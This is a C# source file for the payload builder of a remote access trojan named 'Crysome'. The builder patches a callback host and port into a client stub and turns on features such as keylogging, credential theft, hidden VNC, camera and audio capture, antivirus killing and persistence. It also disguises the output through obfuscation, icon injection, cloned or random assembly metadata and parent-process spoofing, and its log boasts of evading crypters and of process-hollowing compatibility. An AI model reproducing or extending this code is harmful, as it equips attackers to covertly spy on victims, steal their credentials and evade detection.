1035 lines
21 KiB
C#
1035 lines
21 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Collections.ObjectModel;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Windows.Input;
|
|
using Crysome.Obfuscator;
|
|
using Microsoft.Win32;
|
|
using Vestris.ResourceLib;
|
|
using dnlib.DotNet;
|
|
|
|
namespace Crysome.Server.ViewModel;
|
|
|
|
public class BuilderViewModel : ViewModelBase
|
|
{
|
|
private const string EmbeddedMarker = "##CRYCFG##";
|
|
|
|
private const int PaddingChars = 502;
|
|
|
|
private const int TotalChars = 512;
|
|
|
|
private const byte PaddingByteLow = 1;
|
|
|
|
private const byte PaddingByteHigh = 0;
|
|
|
|
private string _ip = "127.0.0.1";
|
|
|
|
private string _port = "7777";
|
|
|
|
private string _group = "";
|
|
|
|
private bool _featPersistence;
|
|
|
|
private bool _featObfuscate;
|
|
|
|
private bool _featCmd = true;
|
|
|
|
private bool _featFile = true;
|
|
|
|
private bool _featDirectLink = true;
|
|
|
|
private bool _featScreenshot = true;
|
|
|
|
private bool _featFileMgr = true;
|
|
|
|
private bool _featProcess = true;
|
|
|
|
private bool _featRestart = true;
|
|
|
|
private bool _featProxy = true;
|
|
|
|
private bool _featDesktop = true;
|
|
|
|
private bool _featHvnc = true;
|
|
|
|
private bool _featCredentials = true;
|
|
|
|
private bool _featKeylogger = true;
|
|
|
|
private bool _featChat = true;
|
|
|
|
private bool _featAudio = true;
|
|
|
|
private bool _featCamera = true;
|
|
|
|
private bool _featSurvival;
|
|
|
|
private bool _featAvKiller;
|
|
|
|
private bool _featProtect;
|
|
|
|
private string _parentSpoof = "None";
|
|
|
|
private string _stubPath = "";
|
|
|
|
private string _iconPath = "";
|
|
|
|
private bool _enableAssemblyEdit;
|
|
|
|
private string _asmTitle = "";
|
|
|
|
private string _asmDescription = "";
|
|
|
|
private string _asmCompany = "";
|
|
|
|
private string _asmProduct = "";
|
|
|
|
private string _asmCopyright = "";
|
|
|
|
private string _asmVersion = "1.0.0.0";
|
|
|
|
private readonly MainViewModel _mainVm;
|
|
|
|
private static readonly Random _rnd = new Random();
|
|
|
|
public string IP
|
|
{
|
|
get
|
|
{
|
|
return _ip;
|
|
}
|
|
set
|
|
{
|
|
_ip = value;
|
|
OnPropertyChanged("IP");
|
|
}
|
|
}
|
|
|
|
public string Port
|
|
{
|
|
get
|
|
{
|
|
return _port;
|
|
}
|
|
set
|
|
{
|
|
_port = value;
|
|
OnPropertyChanged("Port");
|
|
}
|
|
}
|
|
|
|
public string Group
|
|
{
|
|
get
|
|
{
|
|
return _group;
|
|
}
|
|
set
|
|
{
|
|
_group = value;
|
|
OnPropertyChanged("Group");
|
|
}
|
|
}
|
|
|
|
public bool FeatPersistence
|
|
{
|
|
get
|
|
{
|
|
return _featPersistence;
|
|
}
|
|
set
|
|
{
|
|
_featPersistence = value;
|
|
OnPropertyChanged("FeatPersistence");
|
|
}
|
|
}
|
|
|
|
public bool FeatObfuscate
|
|
{
|
|
get
|
|
{
|
|
return _featObfuscate;
|
|
}
|
|
set
|
|
{
|
|
_featObfuscate = value;
|
|
OnPropertyChanged("FeatObfuscate");
|
|
}
|
|
}
|
|
|
|
public bool FeatCmd
|
|
{
|
|
get
|
|
{
|
|
return _featCmd;
|
|
}
|
|
set
|
|
{
|
|
_featCmd = value;
|
|
OnPropertyChanged("FeatCmd");
|
|
}
|
|
}
|
|
|
|
public bool FeatFile
|
|
{
|
|
get
|
|
{
|
|
return _featFile;
|
|
}
|
|
set
|
|
{
|
|
_featFile = value;
|
|
OnPropertyChanged("FeatFile");
|
|
}
|
|
}
|
|
|
|
public bool FeatDirectLink
|
|
{
|
|
get
|
|
{
|
|
return _featDirectLink;
|
|
}
|
|
set
|
|
{
|
|
_featDirectLink = value;
|
|
OnPropertyChanged("FeatDirectLink");
|
|
}
|
|
}
|
|
|
|
public bool FeatScreenshot
|
|
{
|
|
get
|
|
{
|
|
return _featScreenshot;
|
|
}
|
|
set
|
|
{
|
|
_featScreenshot = value;
|
|
OnPropertyChanged("FeatScreenshot");
|
|
}
|
|
}
|
|
|
|
public bool FeatFileMgr
|
|
{
|
|
get
|
|
{
|
|
return _featFileMgr;
|
|
}
|
|
set
|
|
{
|
|
_featFileMgr = value;
|
|
OnPropertyChanged("FeatFileMgr");
|
|
}
|
|
}
|
|
|
|
public bool FeatProcess
|
|
{
|
|
get
|
|
{
|
|
return _featProcess;
|
|
}
|
|
set
|
|
{
|
|
_featProcess = value;
|
|
OnPropertyChanged("FeatProcess");
|
|
}
|
|
}
|
|
|
|
public bool FeatRestart
|
|
{
|
|
get
|
|
{
|
|
return _featRestart;
|
|
}
|
|
set
|
|
{
|
|
_featRestart = value;
|
|
OnPropertyChanged("FeatRestart");
|
|
}
|
|
}
|
|
|
|
public bool FeatProxy
|
|
{
|
|
get
|
|
{
|
|
return _featProxy;
|
|
}
|
|
set
|
|
{
|
|
_featProxy = value;
|
|
OnPropertyChanged("FeatProxy");
|
|
}
|
|
}
|
|
|
|
public bool FeatDesktop
|
|
{
|
|
get
|
|
{
|
|
return _featDesktop;
|
|
}
|
|
set
|
|
{
|
|
_featDesktop = value;
|
|
OnPropertyChanged("FeatDesktop");
|
|
}
|
|
}
|
|
|
|
public bool FeatHvnc
|
|
{
|
|
get
|
|
{
|
|
return _featHvnc;
|
|
}
|
|
set
|
|
{
|
|
_featHvnc = value;
|
|
OnPropertyChanged("FeatHvnc");
|
|
}
|
|
}
|
|
|
|
public bool FeatCredentials
|
|
{
|
|
get
|
|
{
|
|
return _featCredentials;
|
|
}
|
|
set
|
|
{
|
|
_featCredentials = value;
|
|
OnPropertyChanged("FeatCredentials");
|
|
}
|
|
}
|
|
|
|
public bool FeatKeylogger
|
|
{
|
|
get
|
|
{
|
|
return _featKeylogger;
|
|
}
|
|
set
|
|
{
|
|
_featKeylogger = value;
|
|
OnPropertyChanged("FeatKeylogger");
|
|
}
|
|
}
|
|
|
|
public bool FeatChat
|
|
{
|
|
get
|
|
{
|
|
return _featChat;
|
|
}
|
|
set
|
|
{
|
|
_featChat = value;
|
|
OnPropertyChanged("FeatChat");
|
|
}
|
|
}
|
|
|
|
public bool FeatAudio
|
|
{
|
|
get
|
|
{
|
|
return _featAudio;
|
|
}
|
|
set
|
|
{
|
|
_featAudio = value;
|
|
OnPropertyChanged("FeatAudio");
|
|
}
|
|
}
|
|
|
|
public bool FeatCamera
|
|
{
|
|
get
|
|
{
|
|
return _featCamera;
|
|
}
|
|
set
|
|
{
|
|
_featCamera = value;
|
|
OnPropertyChanged("FeatCamera");
|
|
}
|
|
}
|
|
|
|
public bool FeatSurvival
|
|
{
|
|
get
|
|
{
|
|
return _featSurvival;
|
|
}
|
|
set
|
|
{
|
|
_featSurvival = value;
|
|
OnPropertyChanged("FeatSurvival");
|
|
}
|
|
}
|
|
|
|
public bool FeatAvKiller
|
|
{
|
|
get
|
|
{
|
|
return _featAvKiller;
|
|
}
|
|
set
|
|
{
|
|
_featAvKiller = value;
|
|
OnPropertyChanged("FeatAvKiller");
|
|
}
|
|
}
|
|
|
|
public bool FeatProtect
|
|
{
|
|
get
|
|
{
|
|
return _featProtect;
|
|
}
|
|
set
|
|
{
|
|
_featProtect = value;
|
|
OnPropertyChanged("FeatProtect");
|
|
}
|
|
}
|
|
|
|
public string ParentSpoof
|
|
{
|
|
get
|
|
{
|
|
return _parentSpoof;
|
|
}
|
|
set
|
|
{
|
|
_parentSpoof = value ?? "None";
|
|
OnPropertyChanged("ParentSpoof");
|
|
}
|
|
}
|
|
|
|
public ObservableCollection<string> ParentSpoofOptions { get; } = new ObservableCollection<string> { "None", "wininit", "explorer", "svchost" };
|
|
|
|
public ObservableCollection<string> BuildLog { get; set; } = new ObservableCollection<string>();
|
|
|
|
public ICommand BuildCommand { get; }
|
|
|
|
public ICommand BrowseStubCommand { get; }
|
|
|
|
public ICommand GoBackCommand { get; }
|
|
|
|
public string StubPath
|
|
{
|
|
get
|
|
{
|
|
return _stubPath;
|
|
}
|
|
set
|
|
{
|
|
_stubPath = value;
|
|
OnPropertyChanged("StubPath");
|
|
}
|
|
}
|
|
|
|
public string IconPath
|
|
{
|
|
get
|
|
{
|
|
return _iconPath;
|
|
}
|
|
set
|
|
{
|
|
_iconPath = value;
|
|
OnPropertyChanged("IconPath");
|
|
}
|
|
}
|
|
|
|
public bool EnableAssemblyEdit
|
|
{
|
|
get
|
|
{
|
|
return _enableAssemblyEdit;
|
|
}
|
|
set
|
|
{
|
|
_enableAssemblyEdit = value;
|
|
OnPropertyChanged("EnableAssemblyEdit");
|
|
}
|
|
}
|
|
|
|
public string AsmTitle
|
|
{
|
|
get
|
|
{
|
|
return _asmTitle;
|
|
}
|
|
set
|
|
{
|
|
_asmTitle = value;
|
|
OnPropertyChanged("AsmTitle");
|
|
}
|
|
}
|
|
|
|
public string AsmDescription
|
|
{
|
|
get
|
|
{
|
|
return _asmDescription;
|
|
}
|
|
set
|
|
{
|
|
_asmDescription = value;
|
|
OnPropertyChanged("AsmDescription");
|
|
}
|
|
}
|
|
|
|
public string AsmCompany
|
|
{
|
|
get
|
|
{
|
|
return _asmCompany;
|
|
}
|
|
set
|
|
{
|
|
_asmCompany = value;
|
|
OnPropertyChanged("AsmCompany");
|
|
}
|
|
}
|
|
|
|
public string AsmProduct
|
|
{
|
|
get
|
|
{
|
|
return _asmProduct;
|
|
}
|
|
set
|
|
{
|
|
_asmProduct = value;
|
|
OnPropertyChanged("AsmProduct");
|
|
}
|
|
}
|
|
|
|
public string AsmCopyright
|
|
{
|
|
get
|
|
{
|
|
return _asmCopyright;
|
|
}
|
|
set
|
|
{
|
|
_asmCopyright = value;
|
|
OnPropertyChanged("AsmCopyright");
|
|
}
|
|
}
|
|
|
|
public string AsmVersion
|
|
{
|
|
get
|
|
{
|
|
return _asmVersion;
|
|
}
|
|
set
|
|
{
|
|
_asmVersion = value;
|
|
OnPropertyChanged("AsmVersion");
|
|
}
|
|
}
|
|
|
|
public ICommand BrowseIconCommand { get; }
|
|
|
|
public ICommand CloneAssemblyCommand { get; }
|
|
|
|
public ICommand RandomizeAssemblyCommand { get; }
|
|
|
|
private static string RandomGroupName()
|
|
{
|
|
int count = _rnd.Next(6, 11);
|
|
return "grp_" + new string((from _ in Enumerable.Range(0, count)
|
|
select "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
|
|
}
|
|
|
|
public BuilderViewModel(MainViewModel mainVm)
|
|
{
|
|
_mainVm = mainVm;
|
|
Group = RandomGroupName();
|
|
BuildCommand = new RelayCommand<object>(delegate
|
|
{
|
|
DoBuild();
|
|
});
|
|
BrowseStubCommand = new RelayCommand<object>(delegate
|
|
{
|
|
DoBrowseStub();
|
|
});
|
|
BrowseIconCommand = new RelayCommand<object>(delegate
|
|
{
|
|
DoBrowseIcon();
|
|
});
|
|
CloneAssemblyCommand = new RelayCommand<object>(delegate
|
|
{
|
|
DoCloneAssembly();
|
|
});
|
|
RandomizeAssemblyCommand = new RelayCommand<object>(delegate
|
|
{
|
|
DoRandomizeAssembly();
|
|
});
|
|
GoBackCommand = new RelayCommand<object>(delegate
|
|
{
|
|
_mainVm.GoToClients();
|
|
});
|
|
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Crysome.Client.exe");
|
|
if (File.Exists(text))
|
|
{
|
|
StubPath = text;
|
|
}
|
|
}
|
|
|
|
private void DoBrowseStub()
|
|
{
|
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
|
{
|
|
Filter = "Executables|*.exe",
|
|
Title = "Select Crysome.Client.exe"
|
|
};
|
|
if (openFileDialog.ShowDialog() == true)
|
|
{
|
|
StubPath = openFileDialog.FileName;
|
|
}
|
|
}
|
|
|
|
private void DoBrowseIcon()
|
|
{
|
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
|
{
|
|
Filter = "Icons|*.ico",
|
|
Title = "Select Icon"
|
|
};
|
|
if (openFileDialog.ShowDialog() == true)
|
|
{
|
|
IconPath = openFileDialog.FileName;
|
|
}
|
|
}
|
|
|
|
private void DoCloneAssembly()
|
|
{
|
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
|
{
|
|
Filter = "Executables|*.exe;*.dll",
|
|
Title = "Select Assembly to Clone"
|
|
};
|
|
if (openFileDialog.ShowDialog() == true)
|
|
{
|
|
try
|
|
{
|
|
FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName);
|
|
AsmTitle = versionInfo.FileDescription ?? "";
|
|
AsmDescription = versionInfo.Comments ?? "";
|
|
AsmCompany = versionInfo.CompanyName ?? "";
|
|
AsmProduct = versionInfo.ProductName ?? "";
|
|
AsmCopyright = versionInfo.LegalCopyright ?? "";
|
|
AsmVersion = versionInfo.FileVersion ?? "1.0.0.0";
|
|
EnableAssemblyEdit = true;
|
|
Log("Cloned assembly info from: " + Path.GetFileName(openFileDialog.FileName));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log("Error cloning assembly: " + ex.Message);
|
|
}
|
|
}
|
|
}
|
|
|
|
private void DoRandomizeAssembly()
|
|
{
|
|
AsmTitle = RandomString(8);
|
|
AsmDescription = RandomString(12);
|
|
AsmCompany = RandomString(8);
|
|
AsmProduct = RandomString(8);
|
|
AsmCopyright = "Copyright © " + DateTime.Now.Year + " " + AsmCompany;
|
|
AsmVersion = _rnd.Next(1, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 100);
|
|
EnableAssemblyEdit = true;
|
|
Log("Randomized assembly info.");
|
|
}
|
|
|
|
private string RandomString(int len)
|
|
{
|
|
return new string((from s in Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", len)
|
|
select s[_rnd.Next(s.Length)]).ToArray());
|
|
}
|
|
|
|
private static int FindBytes(byte[] haystack, byte[] needle, int startIndex = 0)
|
|
{
|
|
int num = haystack.Length - needle.Length;
|
|
for (int i = startIndex; i <= num; i++)
|
|
{
|
|
bool flag = true;
|
|
for (int j = 0; j < needle.Length; j++)
|
|
{
|
|
if (haystack[i + j] != needle[j])
|
|
{
|
|
flag = false;
|
|
break;
|
|
}
|
|
}
|
|
if (flag)
|
|
{
|
|
return i;
|
|
}
|
|
}
|
|
return -1;
|
|
}
|
|
|
|
private void DoBuild()
|
|
{
|
|
BuildLog.Clear();
|
|
try
|
|
{
|
|
if (string.IsNullOrWhiteSpace(IP))
|
|
{
|
|
Log("ERROR: IP is empty.");
|
|
return;
|
|
}
|
|
if (!int.TryParse(Port, out var result) || result < 1 || result > 65535)
|
|
{
|
|
Log("ERROR: Port must be 1-65535.");
|
|
return;
|
|
}
|
|
if (string.IsNullOrEmpty(StubPath) || !File.Exists(StubPath))
|
|
{
|
|
Log("ERROR: Select Crysome.Client.exe first.");
|
|
return;
|
|
}
|
|
List<string> list = new List<string>();
|
|
if (FeatCmd)
|
|
{
|
|
list.Add("cmd");
|
|
}
|
|
if (FeatFile)
|
|
{
|
|
list.Add("file");
|
|
}
|
|
if (FeatDirectLink)
|
|
{
|
|
list.Add("direct");
|
|
}
|
|
if (FeatScreenshot)
|
|
{
|
|
list.Add("screen");
|
|
}
|
|
if (FeatFileMgr)
|
|
{
|
|
list.Add("filemgr");
|
|
}
|
|
if (FeatProcess)
|
|
{
|
|
list.Add("proc");
|
|
}
|
|
if (FeatRestart)
|
|
{
|
|
list.Add("restart");
|
|
}
|
|
if (FeatProxy)
|
|
{
|
|
list.Add("proxy");
|
|
}
|
|
if (FeatDesktop)
|
|
{
|
|
list.Add("rdp");
|
|
}
|
|
if (FeatHvnc)
|
|
{
|
|
list.Add("hvnc");
|
|
}
|
|
if (FeatCredentials)
|
|
{
|
|
list.Add("cred");
|
|
}
|
|
if (FeatKeylogger)
|
|
{
|
|
list.Add("keylog");
|
|
}
|
|
if (FeatChat)
|
|
{
|
|
list.Add("chat");
|
|
}
|
|
if (FeatAudio)
|
|
{
|
|
list.Add("audio");
|
|
}
|
|
if (FeatCamera)
|
|
{
|
|
list.Add("cam");
|
|
}
|
|
if (FeatSurvival)
|
|
{
|
|
list.Add("survival");
|
|
}
|
|
if (FeatAvKiller)
|
|
{
|
|
list.Add("avkill");
|
|
}
|
|
if (FeatProtect)
|
|
{
|
|
list.Add("protect");
|
|
}
|
|
string text = ((list.Count >= 18) ? "" : string.Join(",", list));
|
|
string text2 = (ParentSpoof ?? "").Trim().ToLowerInvariant();
|
|
string text3 = ((text2 == "none" || string.IsNullOrEmpty(text2)) ? "" : text2);
|
|
string text4 = "{\"host\":\"" + EscapeJson(IP.Trim()) + "\",\"port\":\"" + result + "\",\"group\":\"" + EscapeJson((Group ?? "").Trim()) + "\",\"persistence\":\"" + (FeatPersistence ? "true" : "false") + "\"" + (string.IsNullOrEmpty(text) ? "" : (",\"feat\":\"" + EscapeJson(text) + "\"")) + (string.IsNullOrEmpty(text3) ? "" : (",\"parent\":\"" + EscapeJson(text3) + "\"")) + "}";
|
|
if (text4.Length > 502)
|
|
{
|
|
Log("ERROR: Config JSON too long (" + text4.Length + " chars, max " + 502 + ").");
|
|
return;
|
|
}
|
|
byte[] bytes = Encoding.Unicode.GetBytes("##CRYCFG##");
|
|
byte[] array = new byte[8];
|
|
for (int i = 0; i < array.Length; i += 2)
|
|
{
|
|
array[i] = 1;
|
|
array[i + 1] = 0;
|
|
}
|
|
byte[] array2 = new byte[bytes.Length + array.Length];
|
|
Array.Copy(bytes, 0, array2, 0, bytes.Length);
|
|
Array.Copy(array, 0, array2, bytes.Length, array.Length);
|
|
string text5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Build.exe");
|
|
string text6 = StubPath;
|
|
if (FeatObfuscate)
|
|
{
|
|
try
|
|
{
|
|
text6 = Path.Combine(Path.GetTempPath(), "crysome_obf_" + Guid.NewGuid().ToString("N") + ".exe");
|
|
Log("Obfuscating stub: " + StubPath);
|
|
CryObfuscator.Obfuscate(StubPath, text6, (Action<string>)Log);
|
|
if (!File.Exists(text6))
|
|
{
|
|
Log("ERROR: Obfuscation produced no output file. Using non-obfuscated stub.");
|
|
text6 = StubPath;
|
|
}
|
|
else
|
|
{
|
|
Log("Obfuscation OK. Patching config into obfuscated file.");
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log("ERROR: Obfuscation failed — " + ex.Message);
|
|
Log(" Using non-obfuscated stub. Build Crysome.Client first, then point Stub to bin\\net472\\Crysome.Client.exe");
|
|
text6 = StubPath;
|
|
}
|
|
}
|
|
byte[] array3 = File.ReadAllBytes(text6);
|
|
if (text6 != StubPath)
|
|
{
|
|
try
|
|
{
|
|
File.Delete(text6);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
Log("Loaded: " + array3.Length / 1024 + " KB");
|
|
if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath))
|
|
{
|
|
Log("Icon changing requires external library (Vestris.ResourceLib). Skipping for now.");
|
|
}
|
|
if (EnableAssemblyEdit)
|
|
{
|
|
Log("Assembly Info editing requires external library (Vestris.ResourceLib). Skipping for now.");
|
|
}
|
|
int num = FindBytes(array3, array2);
|
|
if (num < 0)
|
|
{
|
|
Log("WARNING: Embedded config placeholder not found. Will append config to tail instead.");
|
|
}
|
|
else
|
|
{
|
|
Log("Placeholder found at offset 0x" + num.ToString("X8"));
|
|
byte[] bytes2 = Encoding.Unicode.GetBytes(text4);
|
|
int num2 = num + bytes.Length;
|
|
int num3 = 1004;
|
|
Array.Copy(bytes2, 0, array3, num2, bytes2.Length);
|
|
for (int j = num2 + bytes2.Length; j < num2 + num3; j++)
|
|
{
|
|
array3[j] = 0;
|
|
}
|
|
}
|
|
File.WriteAllBytes(text5, array3);
|
|
if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath))
|
|
{
|
|
try
|
|
{
|
|
Log("Injecting icon...");
|
|
new IconDirectoryResource(new IconFile(IconPath)).SaveTo(text5);
|
|
Log("Icon injected successfully.");
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
Log("Icon injection failed: " + ex2.Message);
|
|
}
|
|
}
|
|
if (EnableAssemblyEdit)
|
|
{
|
|
try
|
|
{
|
|
Log("Updating assembly info (native resources)...");
|
|
VersionResource versionResource = new VersionResource();
|
|
versionResource.LoadFrom(text5);
|
|
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
|
|
StringTable stringTable = null;
|
|
if (stringFileInfo.Strings.Count > 0)
|
|
{
|
|
stringTable = stringFileInfo.Strings.Values.First();
|
|
}
|
|
else
|
|
{
|
|
stringTable = new StringTable("000004b0");
|
|
stringFileInfo.Strings.Add(stringTable.Key, stringTable);
|
|
}
|
|
SetVer("FileDescription", AsmTitle);
|
|
SetVer("Comments", AsmDescription);
|
|
SetVer("CompanyName", AsmCompany);
|
|
SetVer("ProductName", AsmProduct);
|
|
SetVer("LegalCopyright", AsmCopyright);
|
|
SetVer("FileVersion", AsmVersion);
|
|
SetVer("ProductVersion", AsmVersion);
|
|
SetVer("OriginalFilename", Path.GetFileName(text5));
|
|
SetVer("InternalName", Path.GetFileNameWithoutExtension(text5));
|
|
try
|
|
{
|
|
string[] array4 = AsmVersion.Split('.');
|
|
if (array4.Length >= 4)
|
|
{
|
|
ushort.Parse(array4[0]);
|
|
ushort.Parse(array4[1]);
|
|
ushort.Parse(array4[2]);
|
|
ushort.Parse(array4[3]);
|
|
versionResource.FileVersion = AsmVersion;
|
|
versionResource.ProductVersion = AsmVersion;
|
|
}
|
|
}
|
|
catch (Exception ex3)
|
|
{
|
|
Log("FixedFileInfo update failed: " + ex3.Message);
|
|
}
|
|
versionResource.SaveTo(text5);
|
|
Log("Assembly info (native) updated.");
|
|
void SetVer(string key, string val)
|
|
{
|
|
try
|
|
{
|
|
if (stringTable.Strings.ContainsKey(key))
|
|
{
|
|
stringTable.Strings.Remove(key);
|
|
}
|
|
StringTableEntry value = new StringTableEntry(key)
|
|
{
|
|
Value = val
|
|
};
|
|
stringTable.Strings.Add(key, value);
|
|
}
|
|
catch (Exception ex9)
|
|
{
|
|
Log("SetVer failed for " + key + ": " + ex9.Message);
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex4)
|
|
{
|
|
Log("Assembly info update failed: " + ex4.Message);
|
|
}
|
|
try
|
|
{
|
|
Log("Updating .NET Assembly Attributes (dnlib)...");
|
|
using ModuleDefMD moduleDefMD = ModuleDefMD.Load(text5);
|
|
AssemblyDef assembly = moduleDefMD.Assembly;
|
|
if (assembly != null)
|
|
{
|
|
assembly.Name = AsmTitle;
|
|
try
|
|
{
|
|
Version version = new Version(AsmVersion);
|
|
assembly.Version = version;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
moduleDefMD.Write(text5);
|
|
Log(".NET Assembly attributes updated.");
|
|
}
|
|
}
|
|
catch (Exception ex5)
|
|
{
|
|
Log("Warning: .NET attribute update failed or skipped: " + ex5.Message);
|
|
}
|
|
}
|
|
try
|
|
{
|
|
using (FileStream fileStream = new FileStream(text5, FileMode.Append, FileAccess.Write, FileShare.Read))
|
|
{
|
|
string s = "##CRYCONFIG##" + text4;
|
|
byte[] bytes3 = Encoding.UTF8.GetBytes(s);
|
|
fileStream.Write(bytes3, 0, bytes3.Length);
|
|
}
|
|
Log("Tail config appended");
|
|
}
|
|
catch (Exception ex6)
|
|
{
|
|
Log("WARNING: Tail config append failed: " + ex6.Message);
|
|
}
|
|
long length = new FileInfo(text5).Length;
|
|
Log("Config patched inside PE metadata (same file size, no resources)");
|
|
Log("");
|
|
Log("Host: " + IP.Trim());
|
|
Log("Port: " + result);
|
|
Log("Group: " + (Group ?? "").Trim());
|
|
Log("Persistence: " + FeatPersistence);
|
|
Log("Features: " + (string.IsNullOrEmpty(text) ? "all" : text));
|
|
if (!string.IsNullOrEmpty(text3))
|
|
{
|
|
Log("Parent spoof: " + text3 + ".exe");
|
|
}
|
|
Log("");
|
|
Log("BUILD DONE!");
|
|
Log("Output: " + text5);
|
|
try
|
|
{
|
|
string text7 = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Data", "inventory_rules.json");
|
|
string text8 = Path.Combine(Path.GetDirectoryName(text5) ?? "", "inventory_rules.json");
|
|
if (File.Exists(text7) && !string.IsNullOrEmpty(text8))
|
|
{
|
|
File.Copy(text7, text8, overwrite: true);
|
|
Log("inventory_rules.json copied next to client.");
|
|
}
|
|
}
|
|
catch (Exception ex7)
|
|
{
|
|
Log("inventory_rules.json copy: " + ex7.Message);
|
|
}
|
|
Log("Size: " + length / 1024 + " KB");
|
|
Log("");
|
|
Log("Crypt-safe: config is inside PE metadata, not appended or in resources.");
|
|
Log("Works with process hollowing (msbuild, regasm, etc).");
|
|
if (FeatObfuscate)
|
|
{
|
|
Log("Tip: For best obfuscation, use Client built without Costura: dotnet build Crysome.Client -p:ObfuscateBuild=true");
|
|
}
|
|
}
|
|
catch (Exception ex8)
|
|
{
|
|
Log("ERROR: " + ex8.Message);
|
|
}
|
|
}
|
|
|
|
private static string EscapeJson(string s)
|
|
{
|
|
if (string.IsNullOrEmpty(s))
|
|
{
|
|
return "";
|
|
}
|
|
return s.Replace("\\", "\\\\").Replace("\"", "\\\"");
|
|
}
|
|
|
|
private void Log(string msg)
|
|
{
|
|
BuildLog.Add(string.IsNullOrEmpty(msg) ? "" : ("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg));
|
|
}
|
|
}
|